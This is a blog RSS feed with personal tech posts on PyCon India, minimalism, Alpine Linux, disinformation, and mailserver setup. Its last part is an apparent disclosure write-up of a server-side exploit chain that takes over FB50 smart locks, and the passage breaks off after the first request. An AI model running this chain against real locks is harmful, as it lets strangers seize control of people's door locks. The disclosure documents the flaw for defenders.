<li><strong>Let&#8217;s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>&#8217;s closing
keynote</li>
</ul>

<h2 id="my-talk">My talk (!!!)</h2>

<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
our smart lock security research. Agreed, it might have been less
&#8220;hardware&#8221; and more of a bug on the server-side, but that&#8217;s the thing
about IoT right? It&#8217;s so multi-faceted, and is an amalgamation of so
many different hardware and software stacks. But, anyway&#8230;</p>

<p>I was reassured by folks after the talk that the silence during Q/A was 
the &#8220;good&#8221; kind of silence. Was it really? I&#8217;ll never know.</p>

<h2 id="some-nice-people-i-met">Some nice people I met</h2>

<ul>
<li><a href="https://twitter.com/abhirathb">Abhirath</a>&#8212;A 200 IQ lad. Talked to
me about everything from computational biology to the physical
implementation of quantum computers.</li>
<li><a href="https://twitter.com/meain_">Abin</a>&#8212;He recognized me from my
<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
awesome.</li>
<li><a href="https://twitter.com/h6165">Abhishek</a></li>
<li>Pradyun and Vikrant (linked earlier)</li>
</ul>

<p>And a lot of other people doing really great stuff, whose names I&#8217;m
forgetting.</p>

<h2 id="pictures">Pictures!</h2>

<p>It&#8217;s not much, and
I can&#8217;t be bothered to format them like a collage or whatever, so I&#8217;ll
just dump them here&#8212;as is.</p>

<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
<img src="/static/img/me_talking.jpg" alt="me talking" />
<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>

<h2 id="cest-tout">C&#8217;est tout</h2>

<p>Overall, a great time and a weekend well spent. It was very different
from your typical security conference&#8212;a lot more <em>chill</em>, if you
will. The organizers did a fantastic job and the entire event was put
together really well.
I don&#8217;t have much else to say, but I know for sure that I&#8217;ll be
there next time.</p>

<p>That was PyCon India, 2019.</p>
]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
subject. But this is inherently different, since it&#8217;s <em>my</em> opinion on
the matter, and <em>my</em> technique(s) to achieve &#8220;digital minimalism&#8221;.</p>

<p>According to me, minimalism can be achieved on two primary fronts &#8211;
the phone &amp; the computer. Let&#8217;s start with the phone. The daily carry.
The device that&#8217;s on our person from when we get out of bed, till we get
back in bed.</p>

<h2 id="the-phone">The phone</h2>

<p>I&#8217;ve read about a lot of methods people employ to curb their phone
usage. Some have tried grouping &#8220;distracting&#8221; apps into a separate
folder, and this supposedly helps reduce their usage. Now, I fail to see
how this would work, but YMMV. Another technique I see often is using
a time governance app&#8212;like OnePlus&#8217; Zen Mode&#8212;to enforce how much
time you spend using specific apps, or the phone itself. I&#8217;ve tried this
for myself, but I constantly found myself counting down the minutes
after which the phone would become usable again. Not helpful.</p>

<p>My solution to this is a lot more brutal. I straight up uninstalled the
apps that I found myself using too often. There&#8217;s a simple principle
behind it&#8212;if the app has a desktop alternative, like Twitter,
Reddit, etc. use that instead. Here&#8217;s a list of apps that got nuked from
my phone:</p>

<ul>
<li>Twitter</li>
<li>Instagram (an exception, no desktop client)</li>
<li>Relay for Reddit</li>
<li>YouTube (disabled, ships with stock OOS)</li>
</ul>

<p>The only non-productive app that I&#8217;ve let remain is Clover, 
a 4chan client. I didn&#8217;t find myself using it as much earlier, but we&#8217;ll see how that 
holds up. I&#8217;ve also allowed my personal messaging apps to remain, since 
removing those would be inconveniencing others.</p>

<p>I must admit, I often find myself reaching for my phone out of habit
just to check Twitter, only to find that its gone. I also subconsciously
tap the place where its icon used to exist (now replaced with my mail
client) on my launcher. The only &#8220;fun&#8221; thing left on my phone to do is
read or listen to music. Which is okay, in my opinion.</p>

<h2 id="the-computer">The computer</h2>

<p>I didn&#8217;t do anything too nutty here, and most of the minimalism is
mostly aesthetic. I like UIs that get out of the way. </p>

<p>My setup right now is just a simple bar at the top showing the time,
date, current volume and battery %, along with my workspace indicators.
No fancy colors, no flashy buttons and sliders. And that&#8217;s it. I don&#8217;t
try to force myself to not use stuff&#8212;after all, I&#8217;ve reduced it
elsewhere. :)</p>

<p>Now the question arises: Is this just a phase, or will I stick to it?
What&#8217;s going to stop me from heading over to the Play Store and
installing those apps back? Well, I never said this was going to be
easy. There&#8217;s definitely some will power needed to pull this off.
I guess time will tell.</p>
]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It&#8217;s a lazy Friday afternoon here; yet another off day this week thanks to my
uni&#8217;s fest. My last &#8220;weekly&#8221; update was 10 days ago, and a lot has happened
since then. Let&#8217;s get right into it!</p>

<h2 id="my-switch-to-alpine">My switch to Alpine</h2>

<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>

<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
<span class="m">3817</span>

<span class="c1"># or something in that ballpark</span>
</code></pre></div>

<p>I&#8217;ve been wanting to reduce my system&#8217;s package count.</p>

<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
sane package manager. I did come across Dylan Araps&#8217;
<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
for me (and still relatively new). I finally settled on
<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>

<blockquote>
  <p>Alpine Linux is a security-oriented, lightweight Linux distribution based 
  on musl libc and busybox.</p>
</blockquote>

<p>The installation was a breeze, and I was quite surprised to see WiFi working
OOTB. In the past week of my using this distro, the only major hassle I faced
was getting my Minecraft launcher to run. The JRE isn&#8217;t fully ported to <code>musl</code>
yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
soon. (hint: it involves chroots)</p>

<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>

<h2 id="packaging-for-alpine">Packaging for Alpine</h2>

<p>On a related note, I&#8217;ve been busy packaging some of the stuff I use for Alpine
&#8211; you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
repository if you&#8217;re interested. I&#8217;m currently working on packaging Nim too, so
keep an eye out for that in the coming week.</p>

<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>

<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
going to be speaking at PyCon India about our recent smart lock security
research. The conference is happening in Chennai, much to our convenience.
If you&#8217;re attending too, hit me up on Twitter and we can hang!</p>

<h2 id="other">Other</h2>

<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
strong, my reading however, hasn&#8217;t. I have <em>yet</em> to finish those books! This
week, for sure.</p>

<p>Musically, I&#8217;ve been experimenting. I tried a bit of hip-hop and chilltrap, and
I think I like it? I still find myself coming back to metalcore/deathcore.
Here&#8217;s a list of artists I discovered (and liked) recently:</p>

<ul>
<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
<li>生 Conform 死 (couldn&#8217;t find any official YouTube video, check Spotify)</li>
<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
</ul>

<p>That&#8217;s it for now, I&#8217;ll see you next week!</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a>&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I&#8217;m trying out, in an effort to write more frequently
and to serve as a log of how I&#8217;m using my time. In theory, I will write this post
every week. I&#8217;ll need someone to hold me accountable if I don&#8217;t. I have yet to decide on
a format for this, but it will probably include a quick summary of the work I did,
things I read, IRL stuff, etc.</p>

<p>With the meta stuff out of the way, here&#8217;s what went down last week!</p>

<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>

<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&#8217;s a link to
the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
It creates a small community of sites and enables sharing of traffic among these sites.
The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
of those sites are beautiful. Mine pales in comparison.</p>

<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>

<p>Which brings me to the next thing I did this/last week.</p>

<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>

<p>I&#8217;m not a fan of the official Python client, because you know, Python is bloat.
As an advocate of <em>mnmlsm</em>, I can&#8217;t use it in good conscience. Thus, began my
authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
It&#8217;s not entirely useable as of yet, but it&#8217;s definitely getting there, with the help
of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>

<h2 id="other">Other</h2>

<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
Darknet Diaries &amp; Off the Pill. To add to this list, I&#8217;ve begun binging Vice&#8217;s CYBER.
It&#8217;s pretty good&#8212;each episode is only about 30 mins and it hits the sweet spot,
delvering both interesting security content and news.</p>

<p>My reading needs a ton of catching up. Hopefully I&#8217;ll get around to finishing up
&#8220;The Unending Game&#8221; this week. And then go back to &#8220;Terrorism and Counterintelligence&#8221;.</p>

<p>I&#8217;ve begun learning Russian! I&#8217;m really liking it so far, and it&#8217;s been surprisingly
easy to pick up. Learning the Cyrillic script will require some relearning, especially
with letters like в, н, р, с, etc. that look like English but sound entirely different.
I think I&#8217;m pretty serious about learning this language&#8212;I&#8217;ve added the Russian keyboard
to my Google Keyboard to aid in my familiarization of the alphabet. I&#8217;ve added the <code>RU</code>
layout to my keyboard map too:</p>

<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
</code></pre>

<p>With that ends my weekly update, and I&#8217;ll see you next week!</p>
]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
derived from the title of a KGB black propaganda department.</p>

<blockquote>
  <p>Disinformation is false information spread deliberately to deceive.</p>
</blockquote>

<p>To fully understand disinformation, especially in the modern age, we need to understand the
key factors of any successful disinformation operation:</p>

<ul>
<li>creating disinformation (what)</li>
<li>the motivation behind the op, or its end goal (why)</li>
<li>the medium used to disperse the falsified information (how)</li>
<li>the actor (who)</li>
</ul>

<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>

<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
forms&#8212;"info op&#8221; &amp; &#8220;disinfo&#8221;.</p>

<h2 id="creating-disinformation">Creating disinformation</h2>

<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
of any disinformation sample is a huge indicator of the level of sophistication of the
actor involved, i.e. is it a 12 year old troll or a nation state?</p>

<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
geography and psychology is required. It also needs circumstantial and situational awareness,
of the target.</p>

<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>

<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
imagery:</p>

<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
<p lang="en" dir="ltr">Disinformation.
<br><br>
The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
<br><br>Recontextualisation as threat vector. 
<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
</p>&mdash; thaddeus e. grugq (@thegrugq) 
<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
</blockquote>

<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 

<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>

<p>I like to broadly categorize any info op as either proactive or reactive. 
Proactively, disinformation is spread with the desire to influence the target
either before or during the occurence of an event. This is especially observed
during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
In offensive information operations, the target&#8217;s psychological state can be affected by
spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>

<p>Reactive disinformation is when the actor, usually a nation state in this case,
screws up and wants to cover their tracks. A fitting example of this is the case
of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
eastern Ukraine. This tragic incident has been attributed to Russian-backed 
separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
Russian media is known to have desseminated a number of alternative &amp; some even
conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
Investigation Team) investigations pointed towards the separatists. 
The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
potentially correct information takes a credibility hit.</p>

<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
in totalitarian regimes; when the government decides what the media portrays to the
masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>

<blockquote>
  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
  namely from the United States, and what they have called criminal Hong Kong thugs.
  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
  &#8230;</p>
</blockquote>

<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>

<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
popularity.</p>

<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
generate activity programmatically via the API, Twitter bots are the go-to choice today for 
info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
get realtime insights into what sticks and what doesn&#8217;t.
The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
to create discussions about alternative theories.</p>

<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
actively invest in creating group chats to spread political messages and memes. These parties
have volunteers whose sole job is to sit and forward messages.
Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
this is disinformation without a motive, or the motive is hard to determine simply because
the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
This is a difficult problem to combat, especially given the nature of the target audience.</p>

<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>

<p>I doubt this requires further elaboration, but in short:</p>

<ul>
<li>nation states and their intelligence agencies</li>
<li>governments, political parties</li>
<li>other non/quasi-governmental groups</li>
<li>trolls</li>
</ul>

<p>This essentially sums up the what, why, how and who of disinformation. </p>

<h2 id="personal-opsec">Personal OPSEC</h2>

<p>This is a fun one. Now, it&#8217;s common knowledge that
<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
lead to your OPSEC being compromised.
So if you really have to, you can feign activity using disinformation. For example,
pick a place, and throw in subtle details pertaining to the weather, local events
or regional politics of that place into your disinfo. Assuming this is Twitter, you can
tweet stuff like:</p>

<ul>
<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
</ul>

<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>

<p>And please, don&#8217;t do this:</p>

<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
scary. There is no simple way to combat disinformation. Social media is hard to control.
Just like anything else in cyber, this too is an endless battle between social media corps
and motivated actors.</p>

<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
folks see the truth in a post-truth world.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-2">
<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>

<li id="fn-3">
<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
</li>

<li id="fn-4">
<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
</li>

<li id="fn-5">
<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>

<p>For this attempt, I wanted a simpler approach. I recall how terribly
confusing Dovecot &amp; Postfix were to configure and hence I decided to look
for a containerized solution, that most importantly, runs on my cheap $5 
Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
is actually available. So yeah, <em>pretty</em> tight.</p>

<h2 id="whats-available">What&#8217;s available</h2>

<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
These are the ones I came across:</p>

<ul>
<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
but ships with a web UI that I didn&#8217;t need. </p></li>
<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
a mention. It however, needs a fresh box to work with. A box with absolutely 
nothing else on it. I can&#8217;t afford to do that.</p></li>
<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
</ul>

<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>

<p>The first thing that caught my eye in the README:</p>

<blockquote>
  <p>Recommended:</p>
  
  <ul>
  <li>1 CPU</li>
  <li>1GB RAM</li>
  </ul>
  
  <p>Minimum:</p>
  
  <ul>
  <li>1 CPU</li>
  <li>512MB RAM</li>
  </ul>
</blockquote>

<p>Fantastic, I can somehow squeeze this into my existing VPS.
Setup was fairly simple &amp; the docs are pretty good. It employs a single
<code>.env</code> file for configuration, which is great.
However, I did run into a couple of hiccups here and there.</p>

<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
of memory.</p>

<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
</code></pre>

<p>But it eventually worked after a couple of attempts.</p>

<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
a <code>TXT</code> record. </p>

<p>This is what it looks like.</p>

<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
      "p=&lt;key&gt;"
      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
</code></pre>

<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>

<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
<code>A</code> record.
You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
I learnt this part the hard way, when my outgoing email kept getting
rejected by Tutanota&#8217;s servers.</p>

<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
and look at an example. In short, install <code>certbot</code>, have port 80 free,
and run </p>

<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
</code></pre></div>

<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
the container, something like so:</p>

<div class="codehilite"><pre><span></span><code><span class="nn">...</span>

<span class="nt">volumes</span><span class="p">:</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>

<span class="nn">...</span>
</code></pre></div>

<p>With this done, you shouldn&#8217;t have mail clients complaining about 
wonky certs for which you&#8217;ll have to add an exception manually.</p>

<h2 id="why-would-you">Why would you…?</h2>

<p>There are a few good reasons for this:</p>

<h3 id="privacy">Privacy</h3>

<p>No really, this is <em>the</em> best choice for truly private
email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>

<blockquote>
  <p>Truly secure systems do not require you to trust the service provider.</p>
</blockquote>

<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
how can you really be sure that it isn&#8217;t a backdoored version of it?</p>

<p>When you host your own mailserver, you truly own your email without having to rely on any
third-party.
This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
threat model™.</p>

<h3 id="decentralization">Decentralization</h3>

<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
active users. That&#8217;s obscene.
Email was designed to be decentralized but big corps swooped in and
made it a product. They now control your data, and it isn&#8217;t unknown that
Google reads your mail. This again loops back to my previous point, privacy.
Decentralization guarantees privacy. When you control your mail, you subsequently
control who reads it.</p>

<h3 id="personalization">Personalization</h3>

<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>

<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>

<p>Pfft, this is no competition.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-2">
<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>

<li id="fn-3">
<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>

<h2 id="the-lock">The lock</h2>

<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
across many ecommerce sites, and has over, an estimated, 15k+ users.</p>

<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
the Play/App Store to function. The app requires the user to create an
account before further functionality is available. 
It also facilitates configuring the fingerprint,
and unlocking from a range via Bluetooth.</p>

<p>We had two primary attack surfaces we decided to tackle&#8212;Bluetooth (BLE)
and the Android app.</p>

<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>

<p>Android phones have the ability to capture Bluetooth (HCI) traffic
which can be enabled under Developer Options under Settings. We made 
around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>

<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>

<p>This is the value sent in the <code>Write</code> request:</p>

<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>

<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>

<h2 id="via-the-android-app">Via the Android app</h2>

<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
far since most of it was obfuscated. Why bother when there exists an 
easier approach&#8212;BurpSuite.</p>

<p>We captured and played around with a bunch of requests and responses,
and finally arrived at a working exploit chain.</p>

<h2 id="the-exploit">The exploit</h2>

<p>The entire exploit is a 4 step process consisting of authenticated 
HTTP requests:</p>

<ol>
<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
vicinity), get the barcode and lock ID</li>
<li>Using the barcode, fetch the user ID</li>
<li>Using the lock ID and user ID, unbind the user from the lock</li>
<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
to the lock</li>
</ol>

<p>This is what it looks like, in essence (personal info redacted).</p>

<h3 id="request-1">Request 1</h3>

<pre><code>POST /oklock/lock/queryDevice
{"mac":"XX:XX:XX:XX:XX:XX"}
</code></pre>

<p>Response:</p>

<pre><code>{
   "result":{
      "alarm":0,
      "barcode":"&lt;BARCODE&gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
